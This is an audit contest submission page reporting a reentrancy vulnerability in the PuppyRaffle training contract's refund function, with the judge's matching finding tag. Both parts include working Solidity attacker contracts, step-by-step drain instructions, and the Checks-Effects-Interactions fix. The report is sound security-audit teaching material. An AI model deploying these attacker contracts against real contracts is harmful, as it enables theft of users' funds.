Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Reentrancy

Root + Impact

Description

The PuppyRaffle::refund function violates the Checks-Effects-Interactions (CEI) pattern by sending ETH before updating state. This allows a malicious contract to re-enter refund and drain all contract funds.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
// @> External call BEFORE state change - VULNERABLE!
@> payable(msg.sender).sendValue(entranceFee);
// @> State change happens AFTER external call
@> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Attack Flow:

  1. Attacker enters raffle as malicious contract

  2. Calls refund(playerIndex)

  3. Receives ETH → triggers receive() function

  4. receive() calls refund() again before state updates

  5. Repeats until contract drained

Risk

Likelihood: High - Attack is straightforward and well-documented. No special conditions required.

Impact: Critical - Complete loss of all contract funds. All players lose entrance fees.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract ReentrancyAttacker {
address public puppyRaffle;
uint256 public playerIndex;
uint256 public attackCount;
constructor(address _puppyRaffle) {
puppyRaffle = _puppyRaffle;
}
function enter() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
(bool success,) = puppyRaffle.call{value: msg.value}(
abi.encodeWithSignature("enterRaffle(address[])", players)
);
require(success, "Enter failed");
}
function setPlayerIndex(uint256 _index) external {
playerIndex = _index;
}
function attack() external {
(bool success,) = puppyRaffle.call(
abi.encodeWithSignature("refund(uint256)", playerIndex)
);
require(success, "Attack failed");
}
// Reentrancy happens here
receive() external payable {
if (attackCount < 5 && puppyRaffle.balance > 0) {
attackCount++;
puppyRaffle.call(abi.encodeWithSignature("refund(uint256)", playerIndex));
}
}
}

Steps:

  1. Deploy attacker contract with PuppyRaffle address

  2. Call enter() with entrance fee

  3. Get player index from getActivePlayerIndex()

  4. Call setPlayerIndex(index)

  5. Call attack() - contract drains all funds

Tools Used

Manual review

Recommended Mitigation

Place the state change before the external call to follow the Checks-Effects-Interactions pattern:

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
+
payable(msg.sender).sendValue(entranceFee);
-
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}

This ensures that if an attacker tries to re-enter, the second call will fail the require(playerAddress != address(0)) check.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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